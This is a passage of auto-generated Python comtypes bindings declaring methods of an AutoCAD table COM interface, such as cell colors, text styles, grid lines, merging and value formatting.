COMMETHOD([dispid(37)], HRESULT, 'GetBackgroundColor',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(38)], HRESULT, 'SetBackgroundColor',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(39)], HRESULT, 'GetContentColor',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(40)], HRESULT, 'SetContentColor',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(41)], HRESULT, 'GetTextStyle',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(42)], HRESULT, 'SetTextStyle',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(43)], HRESULT, 'GetTextHeight',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(c_double), 'pTextHeight' )),\n COMMETHOD([dispid(44)], HRESULT, 'SetTextHeight',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], c_double, 'TextHeight' )),\n COMMETHOD([dispid(45)], HRESULT, 'GetGridLineWeight',\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(46)], HRESULT, 'SetGridLineWeight',\n ( ['in'], c_int, 'gridLineTypes' ),\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(47)], HRESULT, 'GetGridColor',\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(48)], HRESULT, 'SetGridColor',\n ( ['in'], c_int, 'gridLineTypes' ),\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(49)], HRESULT, 'GetGridVisibility',\n ( ['in'], AcGridLineType, 'gridLineType' ),\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(50)], HRESULT, 'SetGridVisibility',\n ( ['in'], c_int, 'gridLineTypes' ),\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'TableStyleOverrides',\n ( ['out', 'retval'], POINTER(VARIANT), 'pIntArray' )),\n COMMETHOD([dispid(52)], HRESULT, 'ClearTableStyleOverrides',\n ( ['in'], c_int, 'flag' )),\n COMMETHOD([dispid(53)], HRESULT, 'GetCellType',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(AcCellType), 'pCellType' )),\n COMMETHOD([dispid(54)], HRESULT, 'SetCellType',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], AcCellType, 'CellType' )),\n COMMETHOD([dispid(55)], HRESULT, 'GetCellExtents',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], VARIANT_BOOL, 'bOuterCell' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pPts' )),\n COMMETHOD([dispid(56)], HRESULT, 'GetAttachmentPoint',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pAttachmentPoint' )),\n COMMETHOD([dispid(58)], HRESULT, 'GetCellAlignment',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(AcCellAlignment), 'pCellAlignment' )),\n COMMETHOD([dispid(59)], HRESULT, 'SetCellAlignment',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], AcCellAlignment, 'cellAlignment' )),\n COMMETHOD([dispid(60)], HRESULT, 'GetCellBackgroundColorNone',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(61)], HRESULT, 'SetCellBackgroundColorNone',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(62)], HRESULT, 'GetCellBackgroundColor',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(63)], HRESULT, 'SetCellBackgroundColor',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(64)], HRESULT, 'GetCellContentColor',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(65)], HRESULT, 'SetCellContentColor',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(66)], HRESULT, 'GetCellStyleOverrides',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pIntArray' )),\n COMMETHOD([dispid(67)], HRESULT, 'DeleteCellContent',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' )),\n COMMETHOD([dispid(68)], HRESULT, 'GetRowType',\n ( ['in'], c_int, 'row' ),\n ( ['out', 'retval'], POINTER(AcRowType), 'pRowType' )),\n COMMETHOD([dispid(69)], HRESULT, 'GetText',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pStr' )),\n COMMETHOD([dispid(70)], HRESULT, 'SetText',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], BSTR, 'pStr' )),\n COMMETHOD([dispid(71)], HRESULT, 'GetCellTextStyle',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(72)], HRESULT, 'SetCellTextStyle',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(73)], HRESULT, 'GetCellTextHeight',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(c_double), 'pTextHeight' )),\n COMMETHOD([dispid(74)], HRESULT, 'SetCellTextHeight',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_double, 'TextHeight' )),\n COMMETHOD([dispid(75)], HRESULT, 'GetTextRotation',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(AcRotationAngle), 'TextRotation' )),\n COMMETHOD([dispid(76)], HRESULT, 'SetTextRotation',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], AcRotationAngle, 'TextRotation' )),\n COMMETHOD([dispid(77)], HRESULT, 'GetAutoScale',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(78)], HRESULT, 'SetAutoScale',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(79)], HRESULT, 'GetBlockTableRecordId',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(LONG_PTR), 'blkId' )),\n COMMETHOD([dispid(80)], HRESULT, 'SetBlockTableRecordId',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], LONG_PTR, 'blkId' ),\n ( ['in'], VARIANT_BOOL, 'bAutoFit' )),\n COMMETHOD([dispid(81)], HRESULT, 'GetBlockScale',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(c_double), 'blkScale' )),\n COMMETHOD([dispid(82)], HRESULT, 'SetBlockScale',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_double, 'blkScale' )),\n COMMETHOD([dispid(83)], HRESULT, 'GetBlockRotation',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(c_double), 'blkRotation' )),\n COMMETHOD([dispid(84)], HRESULT, 'SetBlockRotation',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_double, 'blkRotation' )),\n COMMETHOD([dispid(112)], HRESULT, 'GetBlockAttributeValue',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], LONG_PTR, 'attdefId' ),\n ( ['out', 'retval'], POINTER(BSTR), 'bstrValue' )),\n COMMETHOD([dispid(113)], HRESULT, 'SetBlockAttributeValue',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], LONG_PTR, 'attdefId' ),\n ( ['in'], BSTR, 'bstrValue' )),\n COMMETHOD([dispid(85)], HRESULT, 'GetCellGridLineWeight',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], AcCellEdgeMask, 'edge' ),\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'plineweight' )),\n COMMETHOD([dispid(86)], HRESULT, 'SetCellGridLineWeight',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_int, 'edges' ),\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(87)], HRESULT, 'GetCellGridColor',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], AcCellEdgeMask, 'edge' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(88)], HRESULT, 'SetCellGridColor',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_int, 'edges' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(89)], HRESULT, 'GetCellGridVisibility',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], AcCellEdgeMask, 'edge' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(90)], HRESULT, 'SetCellGridVisibility',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_int, 'edges' ),\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(95)], HRESULT, 'InsertColumns',\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_double, 'Width' ),\n ( ['in'], c_int, 'cols' )),\n COMMETHOD([dispid(96)], HRESULT, 'DeleteColumns',\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_int, 'cols' )),\n COMMETHOD([dispid(97)], HRESULT, 'InsertRows',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_double, 'Height' ),\n ( ['in'], c_int, 'Rows' )),\n COMMETHOD([dispid(98)], HRESULT, 'DeleteRows',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'Rows' )),\n COMMETHOD([dispid(99)], HRESULT, 'MergeCells',\n ( ['in'], c_int, 'minRow' ),\n ( ['in'], c_int, 'maxRow' ),\n ( ['in'], c_int, 'minCol' ),\n ( ['in'], c_int, 'maxCol' )),\n COMMETHOD([dispid(100)], HRESULT, 'UnmergeCells',\n ( ['in'], c_int, 'minRow' ),\n ( ['in'], c_int, 'maxRow' ),\n ( ['in'], c_int, 'minCol' ),\n ( ['in'], c_int, 'maxCol' )),\n COMMETHOD([dispid(101)], HRESULT, 'IsMergedCell',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out'], POINTER(c_int), 'minRow' ),\n ( ['out'], POINTER(c_int), 'maxRow' ),\n ( ['out'], POINTER(c_int), 'minCol' ),\n ( ['out'], POINTER(c_int), 'maxCol' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pbValue' )),\n COMMETHOD([dispid(114)], HRESULT, 'GetFieldId',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(LONG_PTR), 'fieldId' )),\n COMMETHOD([dispid(115)], HRESULT, 'SetFieldId',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], LONG_PTR, 'fieldId' )),\n COMMETHOD([dispid(102)], HRESULT, 'GenerateLayout'),\n COMMETHOD([dispid(103)], HRESULT, 'RecomputeTableBlock',\n ( ['in'], VARIANT_BOOL, 'bForceUpdate' )),\n COMMETHOD([dispid(104)], HRESULT, 'HitTest',\n ( ['in'], VARIANT, 'wpt' ),\n ( ['in'], VARIANT, 'wviewVec' ),\n ( ['out'], POINTER(c_int), 'resultRowIndex' ),\n ( ['out'], POINTER(c_int), 'resultColumnIndex' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bReturn' )),\n COMMETHOD([dispid(105)], HRESULT, 'Select',\n ( ['in'], VARIANT, 'wpt' ),\n ( ['in'], VARIANT, 'wvwVec' ),\n ( ['in'], VARIANT, 'wvwxVec' ),\n ( ['in'], c_double, 'wxaper' ),\n ( ['in'], c_double, 'wyaper' ),\n ( ['in'], VARIANT_BOOL, 'allowOutside' ),\n ( ['out'], POINTER(c_int), 'resultRowIndex' ),\n ( ['out'], POINTER(c_int), 'resultColumnIndex' )),\n COMMETHOD([dispid(106)], HRESULT, 'SelectSubRegion',\n ( ['in'], VARIANT, 'wpt1' ),\n ( ['in'], VARIANT, 'wpt2' ),\n ( ['in'], VARIANT, 'wvwVec' ),\n ( ['in'], VARIANT, 'wvwxVec' ),\n ( ['in'], AcSelectType, 'seltype' ),\n ( ['in'], VARIANT_BOOL, 'bIncludeCurrentSelection' ),\n ( ['out'], POINTER(c_int), 'rowMin' ),\n ( ['out'], POINTER(c_int), 'rowMax' ),\n ( ['out'], POINTER(c_int), 'colMin' ),\n ( ['out'], POINTER(c_int), 'colMax' )),\n COMMETHOD([dispid(107)], HRESULT, 'ReselectSubRegion'),\n COMMETHOD([dispid(108)], HRESULT, 'GetSubSelection',\n ( ['out'], POINTER(c_int), 'rowMin' ),\n ( ['out'], POINTER(c_int), 'rowMax' ),\n ( ['out'], POINTER(c_int), 'colMin' ),\n ( ['out'], POINTER(c_int), 'colMax' )),\n COMMETHOD([dispid(109)], HRESULT, 'SetSubSelection',\n ( ['in'], c_int, 'rowMin' ),\n ( ['in'], c_int, 'rowMax' ),\n ( ['in'], c_int, 'colMin' ),\n ( ['in'], c_int, 'colMax' )),\n COMMETHOD([dispid(110)], HRESULT, 'ClearSubSelection'),\n COMMETHOD([dispid(111), 'propget'], HRESULT, 'HasSubSelection',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pbValue' )),\n COMMETHOD([dispid(116), 'propget'], HRESULT, 'RegenerateTableSuppressed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(116), 'propput'], HRESULT, 'RegenerateTableSuppressed',\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(117)], HRESULT, 'GetDataType',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out'], POINTER(AcValueDataType), 'pDataType' ),\n ( ['out'], POINTER(AcValueUnitType), 'pUnitType' )),\n COMMETHOD([dispid(118)], HRESULT, 'SetDataType',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], AcValueDataType, 'dataType' ),\n ( ['in'], AcValueUnitType, 'unitType' )),\n COMMETHOD([dispid(119)], HRESULT, 'GetFormat',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pFormat' )),\n COMMETHOD([dispid(120)], HRESULT, 'SetFormat',\n ( ['in'], c_int, 'rowTypes' ),\n ( [], BSTR, 'pFormat' )),\n COMMETHOD([dispid(121)], HRESULT, 'FormatValue',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( [], AcFormatOption, 'nOption' ),\n ( [], POINTER(BSTR), 'pVal' )),\n COMMETHOD([dispid(1946)], HRESULT, 'GetCellDataType',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out'], POINTER(AcValueDataType), 'pDataType' ),\n ( ['out'], POINTER(AcValueUnitType), 'pUnitType' )),\n COMMETHOD([dispid(1947)], HRESULT, 'SetCellDataType',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( [], AcValueDataType, 'dataType' ),\n ( [], AcValueUnitType, 'unitType' )),\n COMMETHOD([dispid(1948)], HRESULT, 'GetCellFormat',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pFormat' )),\n COMMETHOD([dispid(1949)], HRESULT, 'SetCellFormat',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( [], BSTR, 'pFormat' )),\n COMMETHOD([dispid(1950)], HRESULT, 'GetCellValue',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(1951)], HRESULT, 'SetCellValue',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( [], VARIANT, 'val' )),\n COMMETHOD([dispid(2208)], HRESULT, 'SetCellValueFromText',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' ),\n ( ['in'], BSTR, 'val' ),\n ( ['in'], AcParseOption, 'nOption' )),\n COMMETHOD([dispid(2209)], HRESULT, 'ResetCellValue',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_int, 'col' )),\n COMMETHOD([dispid(2210)], HRESULT, 'IsEmpty',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(2213)], HRESULT, 'CreateContent',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nIndex' ),\n ( ['out', 'retval'], POINTER(c_int), 'pInt' )),\n COMMETHOD([dispid(2214)], HRESULT, 'MoveContent',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nFromIndex' ),\n ( ['in'], c_int, 'nToIndex' )),\n COMMETHOD([dispid(2215)], HRESULT, 'DeleteContent',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' )),\n COMMETHOD([dispid(2217)], HRESULT, 'GetValue',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pAcValue' )),\n COMMETHOD([dispid(2224)], HRESULT, 'SetValue',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], VARIANT, 'acValue' )),\n COMMETHOD([dispid(2225)], HRESULT, 'SetValueFromText',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], BSTR, 'szText' ),\n ( ['in'], AcParseOption, 'nOption' )),\n COMMETHOD([dispid(2227)], HRESULT, 'GetDataFormat',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pValue' )),\n COMMETHOD([dispid(2228)], HRESULT, 'SetDataFormat',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], BSTR, 'szFormat' )),\n COMMETHOD([dispid(2229)], HRESULT, 'GetTextString',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pTextString' )),\n COMMETHOD([dispid(2231)], HRESULT, 'SetTextString',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], BSTR, 'Text' )),\n COMMETHOD([dispid(2232)], HRESULT, 'GetFieldId2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(LONG_PTR), 'pAcDbObjectId' )),\n COMMETHOD([dispid(2233)], HRESULT, 'SetFieldId2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], LONG_PTR, 'acDbObjectId' ),\n ( ['in'], AcCellOption, 'nflag' )),\n COMMETHOD([dispid(2241)], HRESULT, 'GetBlockTableRecordId2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(LONG_PTR), 'pAcDbObjectId' )),\n COMMETHOD([dispid(2242)], HRESULT, 'SetBlockTableRecordId2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], LONG_PTR, 'blkId' ),\n ( ['in'], VARIANT_BOOL, 'autoFit' )),\n COMMETHOD([dispid(2243)], HRESULT, 'GetBlockAttributeValue2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], LONG_PTR, 'blkId' ),\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(2244)], HRESULT, 'SetBlockAttributeValue2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], LONG_PTR, 'blkId' ),\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(2247)], HRESULT, 'GetCustomData',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], BSTR, 'szKey' ),\n ( ['out'], POINTER(VARIANT), 'pData' )),\n COMMETHOD([dispid(2248)], HRESULT, 'SetCustomData',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], BSTR, 'szKey' ),\n ( ['in'], VARIANT, 'data' )),\n COMMETHOD([dispid(2249)], HRESULT, 'GetCellStyle',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pCellStyle' )),\n COMMETHOD([dispid(2256)], HRESULT, 'SetCellStyle',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], BSTR, 'szCellStyle' )),\n COMMETHOD([dispid(2260)], HRESULT, 'GetContentColor2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(2261)], HRESULT, 'SetContentColor2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(2262)], HRESULT, 'GetDataType2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out'], POINTER(AcValueDataType), 'pDataType' ),\n ( ['out'], POINTER(AcValueUnitType), 'pUnitType' )),\n COMMETHOD([dispid(2263)], HRESULT, 'SetDataType2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], AcValueDataType, 'dataType' ),\n ( ['in'], AcValueUnitType, 'unitType' )),\n COMMETHOD([dispid(2264)], HRESULT, 'GetTextStyle2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(BSTR), 'pbstrStyleName' )),\n COMMETHOD([dispid(2265)], HRESULT, 'SetTextStyle2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], BSTR, 'bstrStyleName' )),\n COMMETHOD([dispid(2272)], HRESULT, 'GetTextHeight2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(2273)], HRESULT, 'SetTextHeight2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(36322)], HRESULT, 'GetRotation',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(c_double), 'pValue' )),\n COMMETHOD([dispid(2275)], HRESULT, 'SetRotation',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], c_double, 'Value' )),\n COMMETHOD([dispid(2276)], HRESULT, 'GetAutoScale2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAutoScale' )),\n COMMETHOD([dispid(36325)], HRESULT, 'SetAutoScale2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], VARIANT_BOOL, 'bAutoFit' )),\n COMMETHOD([dispid(2278)], HRESULT, 'GetScale',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['out', 'retval'], POINTER(c_double), 'pScale' )),\n COMMETHOD([dispid(2279)], HRESULT, 'SetScale',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], c_int, 'nContent' ),\n ( ['in'], c_double, 'scale' )),\n COMMETHOD([dispid(2280)], HRESULT, 'RemoveAllOverrides',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' )),\n COMMETHOD([dispid(2281)], HRESULT, 'GetGridLineWeight2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'plineweight' )),\n COMMETHOD([dispid(2288)], HRESULT, 'SetGridLineWeight2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(2289)], HRESULT, 'GetGridLinetype',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['out', 'retval'], POINTER(LONG_PTR), 'pacDbObjId' )),\n COMMETHOD([dispid(2290)], HRESULT, 'SetGridLinetype',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['in'], LONG_PTR, 'idLinetype' )),\n COMMETHOD([dispid(2291)], HRESULT, 'GetGridColor2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(2292)], HRESULT, 'SetGridColor2',\n ( ['in'], c_int, 'nRow' ),\n ( ['in'], c_int, 'nCol' ),\n ( ['in'], AcGridLineType, 'nGridLineType' ),\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(2293)], 